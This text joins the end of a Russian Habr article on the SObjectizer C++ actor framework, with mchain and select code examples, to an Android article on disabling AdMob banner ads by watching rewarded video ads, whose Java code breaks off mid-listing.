Неожиданным следствием добавления mchains в SObjectizer стало то, что некоторые многопоточные приложения на SObjectizer стало возможно разрабатывать даже без применения агентов:
```
void parallel_sum_demo()
{
using namespace std;
using namespace so_5;
// Тип сообщения, которое отошлет каждая рабочая нить в конце своей работы.
struct consumer_result
{
thread::id m_id;
size_t m_values_received;
uint64_t m_sum;
};
wrapped_env_t sobj;
// Канал для отсылки сообщений рабочим нитям.
auto values_ch = create_mchain( sobj,
// Канал имеет ограничение на размер, поэтому назначаем
// паузу в 5м на попытку добавить сообщение в полный канал.
chrono::minutes{5},
// Не более 300 сообщений в канале.
300u,
// Память под внутреннюю очередь канала выделяется заранее.
mchain_props::memory_usage_t::preallocated,
// Если место в канале не появилось даже после 5м ожидания,
// то просто прерываем все приложение.
mchain_props::overflow_reaction_t::abort_app );
// Простой канал для ответных сообщений от рабочих потоков.
auto results_ch = create_mchain( sobj );
// Рабочие потоки.
vector< thread > workers;
for( size_t i = 0; i != thread::hardware_concurrency(); ++i )
workers.emplace_back( thread{ [&values_ch, &results_ch] {
// Последовательно читаем значения из входного
// канала, подсчитываем количество значений и
// их сумму.
size_t received = 0u;
uint64_t sum = 0u;
receive( from( values_ch ).handle_all(),
[∑, &received]( unsigned int v ) {
++received;
sum += v;
} );
// Отсылаем результирующие значения назад.
send< consumer_result >( results_ch,
this_thread::get_id(), received, sum );
} } );
// Отсылаем несколько значений во входной канал. Эти значения будут
// распределятся между рабочими потоками, висящими на чтении данных
// из входного канала.
for( unsigned int i = 0; i != 10000; ++i )
send< unsigned int >( values_ch, i );
// Закрываем входной канал и даем возможность дочитать его содержимое
// до самого конца.
close_retain_content( values_ch );
// Получаем результирующие значения от всех рабочих нитей.
receive(
// Мы точно знаем, сколько значений должно быть прочитано.
from( results_ch ).handle_n( workers.size() ),
[]( const consumer_result & r ) {
cout << "Thread: " << r.m_id
<< ", values: " << r.m_values_received
<< ", sum: " << r.m_sum
<< endl;
} );
for_each( begin(workers), end(workers), []( thread & t ) { t.join(); } );
}
```
Когда mchains только появились в SObjectizer, то операция select могла использоваться только для чтения сообщений из нескольких каналов. Однако, начиная с версии 5.7 (а это 2020-й год) select может не только читать, но и отсылать сообщения в каналы, которые доступны для записи. Вот так, например, выглядит пример fibonacci из документации к языку Go в текущей версии SObjectzier:
```
#include
#include
using namespace std;
using namespace std::chrono\_literals;
using namespace so\_5;
struct quit {};
void fibonacci( mchain\_t values\_ch, mchain\_t quit\_ch )
{
int x = 0, y = 1;
mchain\_select\_result\_t r;
do
{
r = select(
from\_all().handle\_n(1),
// Отсылаем новое сообщение типа 'int' со значением 'x' внутри
// когда values\_ch оказывается готовым к записи.
send\_case( values\_ch, message\_holder\_t::make(x),
[&x, &y] { // Эта лябмда будет вызвана после завершения send-а.
auto old\_x = x;
x = y; y = old\_x + y;
} ),
// Если в quit\_ch пришло сообщение 'quit', то забираем его.
receive\_case( quit\_ch, [](quit){} ) );
}
// Продолжаем цикл пока мы хоть что-то отсылаем и ничего не пролучили.
while( r.was\_sent() && !r.was\_handled() );
}
int main()
{
wrapped\_env\_t sobj;
thread fibonacci\_thr;
auto thr\_joiner = auto\_join( fibonacci\_thr );
// Канал для чисел Фибоначчи будет иметь ограниченную ёмкость.
auto values\_ch = create\_mchain( sobj, 1s, 1,
mchain\_props::memory\_usage\_t::preallocated,
mchain\_props::overflow\_reaction\_t::abort\_app );
auto quit\_ch = create\_mchain( sobj );
auto ch\_closer = auto\_close\_drop\_content( values\_ch, quit\_ch );
fibonacci\_thr = thread{ fibonacci, values\_ch, quit\_ch };
// Читаем первые 10 значений из values\_ch.
receive( from( values\_ch ).handle\_n( 10 ),
// И отображаем очередное прочитанное значение на stdout.
[]( int v ) { cout << v << endl; } );
send< quit >( quit\_ch );
}
```
Зачем это?
----------
Наверняка у читателей, которые никогда раньше не использовали Actor Model и Publish-Subscribe, уже возник вопрос: «И что, все вышеперечисленное действительно упрощает разработку многопоточных приложений на C++?»
Да. Упрощает. Проверенно на людях. Многократно.
И уже далеко не только на тех людях, которым (не)повезло работать под моим началом и у которых не было выбора. Кто-то просто находит информацию о SObjectizer в Интернете и делает на SObjectizer-е проект даже не обращаясь к нам с вопросами, не говоря уже о просьбах о помощи.
Понятное дело, упрощает не для всех типов приложений. Ведь многопоточность — это инструмент, который используется в двух очень разных направлениях. Первое направление, называемое [parallel computing](https://en.wikipedia.org/wiki/Parallel_computing), использует потоки для загрузки всех имеющихся вычислительных ресурсов и сокращения общего времени расчета вычислительных задач. Например, ускорение перекодирования видео за счет загрузки всех вычислительных ядер, при этом каждое ядро выполняет одну и ту же задачу, но на своем наборе данных. Это не то направление, для которого создавался SObjectizer. Для упрощения решения такого класса задач предназначены другие инструменты: [OpenMP](http://openmp.org/), Intel [Threading Building Blocks](https://www.threadingbuildingblocks.org/), [HPX](http://stellar.cct.lsu.edu/projects/hpx/) и т.д.
Второе направление, называемое [concurrent computing](https://en.wikipedia.org/wiki/Concurrent_computing), использует многопоточность для обеспечения параллельного выполнения множества (почти) независимых активностей. Например, почтовый клиент в одном потоке может отправлять исходящую почту, во втором — загружать входящую, в третьем — редактировать новое письмо, в четвертом — выполнять фоновую проверку орфографии в новом письме, в пятом — проводить полнотекстовый поиск по почтовому архиву и т.д.
SObjectizer создавался как раз для направления concurrent computing, а перечисленные выше возможности SObjectizer позволяют уменьшить объем головной боли у разработчика.
### Ключевой момент №1: асинхронный обмен сообщениями
Прежде всего уменьшение объема головной боли происходит за счет выстраивания взаимодействия между агентами через асинхронный обмен сообщениями.
Взаимодействие независимых рабочих нитей через очереди сообщений гораздо проще, чем через ручную работу с разделяемыми данными, защищенными семафорами или мутексами. Причем тем проще, чем больше рабочих потоков в приложении и чем чаще и разнообразнее их взаимодействие.
Запутаться в мутексах и условных переменных несложно даже на десятке рабочих потоков. А уж когда счет идет на сотни рабочих нитей, то ручная возня с низкоуровневыми примитивами синхронизации вообще оказывается за гранью возможностей даже опытных разработчиков. Тогда как сотня нитей, взаимодействующих через очереди сообщений, как показала практика, совершенно не проблема.
Так что главное, что дает разработчику SObjectizer (как и любая другая реализация Actor Model) — это возможность представления независимых активностей внутри приложения в виде агентов, общающихся с окружающим миром только через сообщения.
### Ключевой момент №2: привязка агентов к рабочему контексту
Здравый смыл подсказывает (и практика это подтверждает), что выдать всем агентам по собственной рабочей нити не есть хорошо. Приложению может потребоваться десять тысяч независимых агентов. Или сто тысяч. Или даже миллион. Очевидно, что наличие такого количества рабочих нитей в системе ни к чему хорошему не приведет. Даже если ОС и будет способна создать их (смотря какая ОС и на каком оборудовании), то накладные расходы на обеспечение их работы все равно окажутся слишком большими, чтобы построенное таким образом приложение работало с приемлемой производительностью и отзывчивостью.
Противоположность, когда все агенты привязываются к одной общей нити или к одному единственному пулу нитей, также не является идеальным решением для всех случаев. Например, в приложении может оказаться десяток агентов, которым приходится работать со сторонним синхронным API (делать запросы к БД, общаться с подключенным к компьютеру устройствами, выполнять тяжелые вычислительные операции и т.д.). Каждый такой агент способен затормозить работу всех остальных агентов, которые окажутся с ним на одной рабочей нити. Несколько таких агентов запросто могут затормозить все приложение, если оно использует в работе единственный пул рабочих потоков: просто каждый из агентов займет один из потоков пула…
Как раз для решения этих проблем в SObjectizer есть диспетчеры и такая архиважная операция, как привязка агентов к соответствующим диспетчерам. Все вместе это дает должную свободу и гибкость разработчику, при этом избавляя разработчика от забот по управлению этими потоками.
Программист может создать столько диспетчеров, сколько ему нужно, и так распределить своих агентов между этими диспетчеры, как ему представляется правильным. Например, в приложении могут быть:
* один диспетчер типа one\_thread, на котором некий агент работает MQTT-клиентом;
* один диспетчер типа thread\_pool, на котором работают агенты, отвечающие за обработку сообщений из MQTT-шных топиков;
* один диспетчер типа active\_obj, к которому привязываются агенты для взаимодействия с СУБД;
* еще один диспетчер типа active\_obj, на котором будут работать агенты, общающиеся с подключенными к компьютеру HSM-ами;
* и еще один thread\_pool-диспетчер для агентов, которые следят и управляют всей описанной выше кухней.
### Ключевой момент №3: таймеры "из коробки"
Еще одной штукой, которую сами пользователи SObjectizer отмечают как одну из важнейших, является поддержка отложенных и периодических сообщений. Т.е. [работа с таймерами](https://github.com/Stiffstream/sobjectizer/wiki/SO-5.7-InDepth-Timers).
Очень часто бывает нужно выполнить какое-то действие через N миллисекунд. А затем через M миллисекунд проверить наличие результата. И, если результата нет, выждать K миллисекунд и повторить все заново. Ничего сложного: есть send\_delayed, которая делает отложенную на указанное время отсылку сообщения.
Зачастую агенты работают на тактовой основе. Скажем, раз в секунду агент просыпается, выполняет пачку накопившихся за последнюю секунду операций, после чего засыпает до наступления очередного такта. Опять ничего сложного: есть send\_periodic, которая повторяет доставку одного и того же сообщения с заданным темпом.
Почему SObjectizer именно такой?
--------------------------------
SObjectizer никогда не был экспериментальным проектом, он всегда применялся для упрощения повседневной работы с C++. Каждая новая версия SObjectizer сразу шла в работу, SObjectizer постоянно использовался в разработке коммерческих проектов (в частности, в нескольких business-critical проектах компании Интервэйл, но не только). Это накладывало свой отпечаток на его развитие.
Работы над последним вариантом SObjectizer (мы его называем SObjectizer-5), начались в 2010-ом, когда стандарт C++11 еще не был принят, какие-то вещи C++11 кое-где уже поддерживались, а каких-то пришлось ждать более пяти лет.
В таких условиях не все получалось сделать удобно и лаконично с первого раза. Местами не хватало опыта использования C++11. Очень часто нас ограничивали возможности компиляторов, с которыми приходилось иметь дело. Можно сказать, что движение вперед шло методом проб и ошибок.
При этом нам требовалось еще и заботиться о совместимости: когда SObjectizer лежит в основе business-critical приложений, нельзя просто выбросить какой-то кусок из SObjectizer или каким-то кардинальным образом поменять часть его API. Поэтому даже если время показывало, что где-то мы ошиблись и что-то можно делать проще и удобнее, то возможности «взять и переписать» не было. Мы двигались и двигаемся эволюционным путем, постепенно добавляя новые возможности, но не выбрасывая в одночасье старые куски. В качестве небольшой иллюстрации: осенью 2014-го года состоялся релиз версии 5.5.0 после чего ветка 5.5 развивалась без серьезных ломающих изменений до середины 2019-го года (т.е. больше четырех лет), при этом состоялось [больше двадцати обновлений в рамках ветки 5.5](https://habr.com/ru/post/429046/).
На серьезное обновление SObjectizer-5 мы [решились лишь в 2019-ом году](https://habr.com/ru/post/453256/). И с тех пор опять самым серьезным образом относимся к сохранению совместимости.
SObjectizer приобрел свои уникальные черты в результате многолетнего использования SObjectizer в реальных проектах. К сожалению, эта уникальность «вылазит боком» при попытках рассказать о SObjectizer широкой публике. Слишком уж SObjectizer не похож на [Erlang](http://www.erlang.org/) и другие проекты, созданные по образу и подобию Erlang-а (например, [C++ Actor Framework](http://actor-framework.org/) или [Akka](http://akka.io/)).
### Распределенности "из коробки" нет
Есть одна важная вещь, которая проистекает из опыта использования SObjectizer, которая нам кажется правильной и естественной, но которая вызывает нездоровую реакцию публики: отсутствие поддержки в SObjectizer-5 встроенных средств для распределенности. Мы часто слышим что-то вроде «Ну как же так? Вот в Erlang-е есть, в Akka — есть, в CAF — есть, а у вас нет?!!»
Нет. По очень простой причине: в SObjectizer-4 такая поддержка была, но со временем выяснилось, что не бывает транспорта, который бы идеально подходил под разные условия. Если узлы распределенного приложения гоняют друг-другу большие куски видеофайлов — это одно. Если обмениваются сотнями тысяч мелких пакетов — совсем другое. Если C++ приложение должно общаться с Java приложениями — это третье. И т.д.
Поэтому мы решили не добавлять в SObjectizer-5 универсальный транспорт, который мог бы оказаться весьма посредственным в каждом из реальных сценариев использования, а задействовать те коммуникационные возможности, которые нужны под задачу (подробнее об этом говорилось [здесь](https://habr.com/ru/post/325248/)). Где-то это AMQP, где-то MQTT, где-то REST. Просто все это реализуется сторонними инструментами. Что в итоге обходится проще, дешевле и эффективнее.
### А если в SObjectizer чего-то не хватает?
Мы стараемся сохранить SObjectizer как минималистичное ядро без внешних зависимостей. Поэтому в самом SObjectizer можно найти только необходимый для работы минимум.
Кроме того, с 2017-го года мы развиваем проект-компаньон [so5extra](https://github.com/Stiffstream/so5extra) в котором собрано некоторое количество дополнительных полезных штуковин. Например, пять дополнительных типов mbox-ов (и еще три на подходе), средства интеграции с Asio, средства для поддержки синхронного взаимодействия между агентами и т.д.
Так что если чего-то не нашлось в SObjectizer, то можно заглянуть в so5extra, вдруг там уже есть то, что вам нужно.
### Если не SObjectizer, то что?
Коль скоро речь зашла о других подобных разработках, то можно сказать, что живых и развивающихся проектов подобного рода для C++ не так уж и много:
* прежде всего это [CAF](http://actor-framework.org/), который является настолько близкой реализацией Erlang-а средствами C++, насколько это возможно;
* старый, промышленного качества проект [QP](http://www.state-machine.com/products/index.html#QP), сильно заточенный под разработку встраиваемых систем;
* [actor-zeta](https://github.com/duckstax/actor-zeta) от известного в российских около-C++ных кругах Александра Боргадта;
* [rotor](https://github.com/basiliscos/cpp-rotor), относительно молодой фреймворк, созданный под влиянием The Reactive Manifesto и SObjectizer.
У каждого из этих проектов есть свои сильные и слабые стороны. Но, вообще говоря, на их фоне SObjectizer со своими возможностями, кросс-платформенностью, стабильностью и совместимостью между версиями, производительностью, количеством тестов, [примеров и объемом документации](https://github.com/Stiffstream/sobjectizer/wiki/so-5.7-docs) выглядит отнюдь не бедным родственником. Что, опять же, является следствием того, что SObjectizer всегда был инструментом для решения практических задач.
Что можно выделить за прошедшие шесть лет?
------------------------------------------
Если в двух словах, то SObjectizer-5 за прошедшие с момента первой публикации на Хабре годы оброс "жирком", заматерел, в чем-то упростился, в чем-то стал более логичным, в чем-то стал сложнее.
Показательным для меня оказалось то, что приступая к переделке статьи я думал, что мне придется многое в тексте поменять, т.к. SObjectizer-5 [довольно сильно изменился в 2019-ом](https://habr.com/ru/post/453256/), когда мы открыли ветку 5.6. Однако, пришлось лишь подправить вызовы API в паре примеров и добавить всего один новый пример для select-а с send\_case.
Так что принципиально ничего не изменилось, все ключевые идеи продолжают работать.
Очень важной вехой стало появление проекта-компаньона [so5extra](https://github.com/Stiffstream/so5extra). И не только потому, что он сейчас является полигоном для обкатки новой функциональности для ядра SObjectizer. so5extra был еще и попыткой заработать на своем OpenSource за счет двойного лицензирования. Очень полезный для нас оказался опыт, хоть и горький.
Было написано множество статьей с рассказом о SObjectizer. Наиболее важными, наверное, являются статьи, в которых мы рассказывали о том, как SObjectizer может применяться:
* серия статей про демо-проект Shrimp: [раз](https://habr.com/ru/post/416387/), [два](https://habr.com/ru/post/417527/), [три](https://habr.com/ru/post/420353/);
* пара статей уже не про демо-проект arataga: [раз](https://habr.com/ru/post/537616/) и [два](https://habr.com/ru/post/559356/).
И, конечно же, публикация "[Если проект «Театр», используй акторов…](https://habr.com/ru/post/438196/)" от [ув.тов.PavelVainerman](https://habr.com/ru/users/PavelVainerman/) с рассказом о применении SObjectizer для управления сценическим оборудованием. Обычно никто не говорит об использовании нашего инструмента в своих проектах, о некоторых внедрениях мы узнаем совершенно случайно. А тут человек взял и написал целую статью.
В общем, ничего революционного, простое поступательное движение вперед.
Послесловие из 2022-го
----------------------
Главное, что хочется сказать в качестве послесловия спустя шесть лет после публикации здесь первой статьи про SObjectizer: проект все еще живет и все еще развивается. Не смотря ни на что.
Что будет дальше? А будем посмотреть. Если спустя еще шесть лет доведется делать очередную ревизию этой обзорной статьи, то это будет очень даже не плохо. | https://habr.com/ru/post/671080/ | null | ru | null |
# Альтернатива платному отключению рекламы в бесплатном приложении Android
Доброго времени суток, Хабрахабр!
Меня зовут Александр, я разработчик под ОС Android. Сегодня хочу с вами поделиться опытом реализации альтернативного платному способу отключения рекламы в приложении — отключение рекламы за просмотр рекламы (AdMob Rewarded Video Ads). Интересно? Тогда добро пожаловать под кат.
**Содержание для удобства навигации**1. [Как все было ?](#part0)
2. [Реализация, часть 1: Принцип работы (словами)](#part1)
3. [Реализация, часть 2: Внешний вид](#part2)
4. [Реализация, часть 3: Принцип работы (java код)](#part3)
5. [Заключение](#part4)
#### Как все было ?
В далеком 2013 году я решил заняться разработкой приложений под Android, начал читать тематические книги, статьи, смотрел видео уроки и т.д. Написал первое недоприложение и приуныл, т.к. хотелось сделать что-то полезное, нужное обществу, а идей не было. В 2014 меня знакомый попросил разработать для него мобильный справочник по синтаксису платформы Arduino (там С язык). С огромным желанием я взялся за этот проект и реализовал первую версию для Android 3.0+. Через время решено было усовершенствовать ее, и так появилась вторая версия (для Android 4.0+). Обе они бесплатные с баннером от AdMob внизу и платным его отключением. Все было хорошо, пока мне не стали писать, что ~150-170 рублей РФ дороговато для отключения рекламы навсегда в их любимом справочнике. На что я ответил «бартерным» решением вопроса — пользователь может отключить баннер внизу на время за просмотр видео рекламы от AdMob.
[[вернуться к содержанию]](#main)
#### Реализация, часть 1: Принцип работы (словами)
При запуске приложения пользователю будет показан Dialog, с предложением отключить рекламу, если, конечно, он ранее ее не отключил или отсутствует подключение к сети Интернет. В случае положительного ответа, приложение показывает фрагмент с кнопками, с помощью которых и можно выполнить отключение рекламы в приложении удобным способом.
[[вернуться к содержанию]](#main)
#### Реализация, часть 2: Внешний вид
**Диалог с предложением отключить рекламу**
**Экран отключения рекламы** 
**1 видео реклама просмотрена** 
**5 видео реклам просмотрено**
**Реклама отключена на 1 час**
**Реклама отключена на 1 день**
[[вернуться к содержанию]](#main)
#### Реализация, часть 3: Принцип работы (java код)
Код главной Activity
```
public class ActivityMain extends AppCompatActivity {
private boolean internet;
private boolean isAdsDisabled;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
// get SharedPreferences
prefManager = new PreferencesManager(this);
isAdsDisabled = prefManager.isAdsDisabled(); // true - disable | false - enabled
// ... здесь код создания Вашего UI
internet = CheckURLConnection.isNetworkAvailable();
// true - disable | false - enabled
if (internet && !isAdsDisabled && isTimeUp()) {
DialogFragment disableAds = new DisableAdsDialog();
if (!disableAds.isResumed()) {
disableAds.show(getSupportFragmentManager(), ConstantHolder.DIALOG_DISABLE_ADS);
}
}
private boolean isTimeUp() {
return System.currentTimeMillis() > prefManager.getEstimatedAdsTime();
}
}
```
Код класса CheckURLConnection
```
public class CheckURLConnection {
public static boolean isNetworkAvailable() {
ConnectivityManager connectivityManager = (ConnectivityManager)
MyAppClass.getContext().getSystemService(Context.CONNECTIVITY_SERVICE);
if (connectivityManager != null) {
NetworkInfo activeNetworkInfo = connectivityManager.getActiveNetworkInfo();
return activeNetworkInfo != null && activeNetworkInfo.isConnected();
} else {
return false;
}
}
}
```
Код класса PreferencesManager
```
public class PreferencesManager {
private Context mContext;
private static SharedPreferences mSPref;
private SharedPreferences.Editor mSPEditor;
public PreferencesManager(Context context) {
this.mContext = context;
mSPref = mContext.getSharedPreferences(ConstantHolder.APP_PREF, Context.MODE_PRIVATE);
}
// получаем значение состояния рекламы из SharedPreferences
public boolean isAdsDisabled() {
return mSPref.getBoolean(ConstantHolder.APP_PREF_DISABLE_ADS, false);
}
// получаем дату в миллисекундах, когда нужно включить рекламу
public long getEstimatedAdsTime() {
return mSPref.getLong(ConstantHolder.APP_DISABLE_ADS_PERIOD, 0);
}
}
```
Класс ConstantHolder — класс, в котором я храню константы, чтобы не импортировать их отовсюду, а только из одного места брать (аналог класса R)
```
public class ConstantHolder {
//Preferences Constants
public static final String APP_PREF = "app_pref";
public static final String APP_PREF_DISABLE_ADS = "disableAds"; // Реклама
public static final String APP_DISABLE_ADS_PERIOD = "disableAdsPeriod"; // Период отключения рекламы
}
```
И самое интересное — класс-фрагмент отключения рекламы
**java код целого класса**
```
public class SettingsAdsFrag extends Fragment
implements View.OnClickListener {
private static final String VIEWED_ZERO_VIDEO_ADS = "0";
private static final int VIEWED_ADS_NUMBER_PER_HOUR = 1;
private static final int VIEWED_ADS_NUMBER_PER_DAY = 5; //5
private static final long DISABLE_ADS_PERIOD_1_HOUR = 60 * 60 * 1000;
private static final long DISABLE_ADS_PERIOD_24_HOURS = 24 * 60 * 60 * 1000;
private Context mContext;
private PreferencesManager prefManager;
private RewardedVideoAd mRewardedVideoAd;
private AdRequest mAdRequest;
private boolean internet;
private boolean readyToPurchase;
private boolean bDisableAds;
private String ready;
private String notReady;
private static int adsViewedCounter = 0;
private Button btnReadyToViewing;
private Button btnDisableAdsPerHour;
private Button btnDisableAdsPerDay;
private TextView tvViewedAds;
private TextView tvEstimatedDate;
private ToggleButton tbDisableAds;
private BillingProcessor bp;
@Override
public void onAttach(Context context) {
super.onAttach(context);
this.mContext = context;
// инициализируем свой класс менеджер хранения настроек
prefManager = new PreferencesManager(context);
// получаем текущее состояние интернет соединения
internet = CheckURLConnection.isNetworkAvailable();
// присваиваем "не готово" биллингу
readyToPurchase = false;
// сохраняем в глобальные переменные значения "НЕ ГОТОВО" и "СМОТРЕТЬ" из ресурсов. Сделал так, чтобы по несколько раз к ресурсам не обращаться
ready = context.getString(R.string.txt_cat_ads_ready_for_viewing);
notReady = context.getString(R.string.txt_cat_ads_not_ready_for_viewing);
}
@Override
public void onCreate(@Nullable Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
// отключаю меню у Toolbar
setHasOptionsMenu(false);
// инициализирую биллинг с помощью библиотеки от Anjlab - In-App-Billing-v3
bp = new BillingProcessor(getActivity(),
InAppBillingResources.getRsaKey(), // мой RSA ключ
InAppBillingResources.getMerchantId(), // мой ID продавца из Google Play Developer Console
bpHandler // и сам хэндлер
);
// получаю состояние рекламы из файла настроек
bDisableAds = prefManager.isAdsDisabled(); // true - disable | false - enabled
}
@Nullable
@Override
public View onCreateView(LayoutInflater inflater, @Nullable ViewGroup container, @Nullable Bundle savedInstanceState) {
// здесь код вывода заголовков в Toolbar, опустил его, т.к. не по теме статьи
// [START AdMob Rewarded Video Ads - инициализация]
mRewardedVideoAd = MobileAds.getRewardedVideoAdInstance(getActivity());
mRewardedVideoAd.setRewardedVideoAdListener(rewardedVideoAdListener);
// такую хитрость я применяю везде, чтобы повторно Google меня не забанил на AdMob (еще 1 год писать апелляции я не хочу!)
if (BuildConfig.DEBUG) {
mAdRequest = new AdRequest.Builder()
.addTestDevice(DeviceHash.getHtcDeviceHash())
.build();
} else {
mAdRequest = new AdRequest.Builder()
.build();
}
// загружаю видео рекламу
loadRewardedVideoAd();
// [END AdMob Rewarded Video Ads]
// создаем View экрана Настройки - Отключение рекламы
View settAdsView = inflater.inflate(R.layout.frag_sett_ads_screen, container, false);
// [START ToggleButton Disable Ads]
tbDisableAds = (ToggleButton) settAdsView.findViewById(R.id.tb_disable_ads);
// если биллинг инициалирован и отключение рекламы куплено, то сохраняем это в SharedPrefereces и устанавливаем "Отключено" на кнопке-переключателе
// да-да-да, я еще раз делаю запрос в Google на предмет покупки. А вдруг юзер руками подправил файл настроек ?
if (readyToPurchase) {
if (bp.isPurchased(InAppBillingResources.getSKU_DisableAds())) {
setAdsDisable();
tbDisableAds.setChecked(false);
}
} else {
// в противном случае читаю то, что записано было
// true - disable | false - enabled
tbDisableAds.setChecked(!bDisableAds);
}
// устанавливаю слушатель нажатия по кнопке
tbDisableAds.setOnClickListener(this);
// [END ToggleButton Disable Ads]
// далее идет элементарная инициализация полей и установка значений для каждой из них. Ничего сложного
// [START TextView Rewarded Video Ads Disabling Guide]
TextView tvRewardedGuide = (TextView) settAdsView.findViewById(R.id.tv_rewarded_video_disabling_guide);
tvRewardedGuide.setText(String.format(getActivity().getString(R.string.txt_cat_ads_disable_tmp_text),
VIEWED_ADS_NUMBER_PER_HOUR,
VIEWED_ADS_NUMBER_PER_DAY));
// [END TextView Rewarded Video Ads Disabling Guide]
// [START TextView Viewed Ads]
tvViewedAds = (TextView) settAdsView.findViewById(R.id.tv_viewed_ads);
// [END TextView Viewed Ads]
// [START Button Ready for Viewing]
btnReadyToViewing = (Button) settAdsView.findViewById(R.id.btn_ready_to_viewing);
btnReadyToViewing.setText(notReady);
btnReadyToViewing.setEnabled(false);
btnReadyToViewing.setOnClickListener(this);
// [END Button Ready for Viewing]
// [START Button Disable Ads Per Hour]
btnDisableAdsPerHour = (Button) settAdsView.findViewById(R.id.btn_disable_ads_per_hour);
btnDisableAdsPerHour.setEnabled(false);
btnDisableAdsPerHour.setOnClickListener(this);
// [END Button Disable Ads Per Hour]
// [START Button Disable Ads Per Day]
btnDisableAdsPerDay = (Button) settAdsView.findViewById(R.id.btn_disable_ads_per_day);
btnDisableAdsPerDay.setEnabled(false);
btnDisableAdsPerDay.setOnClickListener(this);
// [END Button Disable Ads Per Day]
// [START TextView Last Viewing Time]
tvEstimatedDate = (TextView) settAdsView.findViewById(R.id.tv_estimated_date);
// [END TextView Last Viewing Time]
// обновляю значения текстовых полей и текста кнопок
updateTextView();
updateButtons();
return settAdsView;
}
@Override
public void onResume() {
// Rewarded Video Ad - необходимо для поддержания жизненного цикла видео рекламы
if (mRewardedVideoAd != null) {
mRewardedVideoAd.resume(getActivity());
}
super.onResume();
// updateUI - обновляю экран
updateTextView();
updateButtons();
}
@Override
public void onPause() {
// Rewarded Video Ad - необходимо для поддержания жизненного цикла видео рекламы
if (mRewardedVideoAd != null) {
mRewardedVideoAd.pause(getActivity());
}
super.onPause();
}
@Override
public void onDestroy() {
// Rewarded Video Ad - необходимо для поддержания жизненного цикла видео рекламы
if (mRewardedVideoAd != null) {
mRewardedVideoAd.destroy(getActivity());
}
super.onDestroy();
}
// обработчик нажатий по кнопкам
@Override
public void onClick(View v) {
switch (v.getId()) {
case R.id.tb_disable_ads:
// disable ads ? setText(..OFF) : setText(..ON)
// if state ON (disableAds - false)
// true - ads disabled; false - ads enabled
if (!bDisableAds && readyToPurchase) {
// если реклама не отключена и биллинг готов, выполняем покупку "Отключить рекламу навсегда платно"
bp.purchase(getActivity(), InAppBillingResources.getSKU_DisableAds());
}
break;
case R.id.btn_ready_to_viewing:
// если видео реклама загружена, то запускаем ее просмотр
if (mRewardedVideoAd.isLoaded()) {
mRewardedVideoAd.show();
}
break;
case R.id.btn_disable_ads_per_hour:
// отключаем рекламу 1 час
disableAdsPerPeriod(DISABLE_ADS_PERIOD_1_HOUR);
adsViewedCounter--;
updateTextView();
updateButtons();
break;
case R.id.btn_disable_ads_per_day:
// отключаем рекламу 1 день
disableAdsPerPeriod(DISABLE_ADS_PERIOD_24_HOURS);
clearAdsCounter();
updateTextView();
updateButtons();
break;
default:
break;
}
// true - ads disabled;
// false - ads enabled
if (bDisableAds) {
tbDisableAds.setChecked(false);
showSnackbar();
}
}
// ==========================================================
// [START R E W A R D E D V I D E O A D]
private RewardedVideoAdListener rewardedVideoAdListener = new RewardedVideoAdListener() {
@Override
public void onRewardedVideoAdLoaded() {
// когда видео реклама будет полностью загружена, влючаем кнопку просмотра
btnReadyToViewing.setText(ready);
btnReadyToViewing.setEnabled(true);
}
@Override
public void onRewardedVideoAdOpened() {
}
@Override
public void onRewardedVideoStarted() {
// устанавливаем НЕ ГОТОВО на кнопку и выключаем ее
btnReadyToViewing.setText(notReady);
btnReadyToViewing.setEnabled(false);
}
@Override
public void onRewardedVideoAdClosed() {
// загружаем новую видео рекламу
loadRewardedVideoAd();
}
@Override
public void onRewarded(RewardItem rewardItem) {
// если счетчик рекламы меньше количества просмотров для отключения на день, то инкрементируем его
if (adsViewedCounter < VIEWED_ADS_NUMBER_PER_DAY) {
adsViewedCounter++;
}
// обновляем поля экрана
updateTextView();
updateButtons();
}
@Override
public void onRewardedVideoAdLeftApplication() {
}
@Override
public void onRewardedVideoAdFailedToLoad(int i) {
// загружаем новую рекламу
loadRewardedVideoAd();
}
};
private void loadRewardedVideoAd() {
// если есть доступ в сеть Интернет, грузим видео рекламу
if (internet) {
mRewardedVideoAd.loadAd(mContext.getString(R.string.admob_rewarded_video_id), mAdRequest);
}
}
// [END R E W A R D E D V I D E O A D]
// ==========================================================
// обновляем текстовые поля согласно условий и значения счетчика просмотров
// показываем дату возобновления рекламы в приложении, если ее отключили временно
private void updateTextView() {
// true - disable | false - enabled
if (bDisableAds) {
tvViewedAds.setText(String.valueOf(adsViewedCounter));
tvEstimatedDate.setText("");
} else {
// [START U P D A T E T E X T V I E W : tvViewedAds]
if (adsViewedCounter > 0 && adsViewedCounter <= VIEWED_ADS_NUMBER_PER_DAY) {
String strViewedAdsCount = adsViewedCounter + " / " + VIEWED_ADS_NUMBER_PER_DAY;
tvViewedAds.setText(strViewedAdsCount);
} else {
tvViewedAds.setText(VIEWED_ZERO_VIDEO_ADS);
}
// [END U P D A T E T E X T V I E W : tvViewedAds]
// [START U P D A T E T E X T V I E W : tvEstimatedDate]
long estimatedDate = prefManager.getEstimatedAdsTime();
long currentDate = System.currentTimeMillis();
if (estimatedDate != 0 && estimatedDate > currentDate) {
String strEstimatedDate = convertTime(estimatedDate);
String strEstimatedDateFinal = "**" + mContext.getString(R.string.txt\_tv\_header\_estimated\_time).toUpperCase() + "**"
+ "
"
+ strEstimatedDate;
tvEstimatedDate.setText(Html.fromHtml(strEstimatedDateFinal));
}
// [END U P D A T E T E X T V I E W : tvEstimatedDate]
}
}
// обновляем кнопки
private void updateButtons() {
// 0
if (adsViewedCounter == 0) {
btnDisableAdsPerHour.setEnabled(false);
btnDisableAdsPerDay.setEnabled(false);
}
// 1 - 4
if (adsViewedCounter > 0 && adsViewedCounter < VIEWED_ADS_NUMBER_PER_DAY) {
btnDisableAdsPerHour.setEnabled(true);
}
// 5
if (adsViewedCounter == VIEWED_ADS_NUMBER_PER_DAY) {
btnDisableAdsPerHour.setEnabled(true);
btnDisableAdsPerDay.setEnabled(true);
}
}
// метод отключения рекламы на период
private void disableAdsPerPeriod(long disablePeriod) {
// текущая дата в миллисекундах
long currentDate = System.currentTimeMillis();
// дата возобновления рекламы в приложении
long estimatedDate = currentDate + disablePeriod;
// сохраняем дату в файл настроек
prefManager.setEstimatedDate(estimatedDate);
// отключаем баннер внизу экрана
AdMobAds.disableBanner(getActivity(), true);
}
// обнуляем счетчик
private void clearAdsCounter() {
adsViewedCounter = 0;
}
// конвертер миллисекунд в дату и время согласно формату
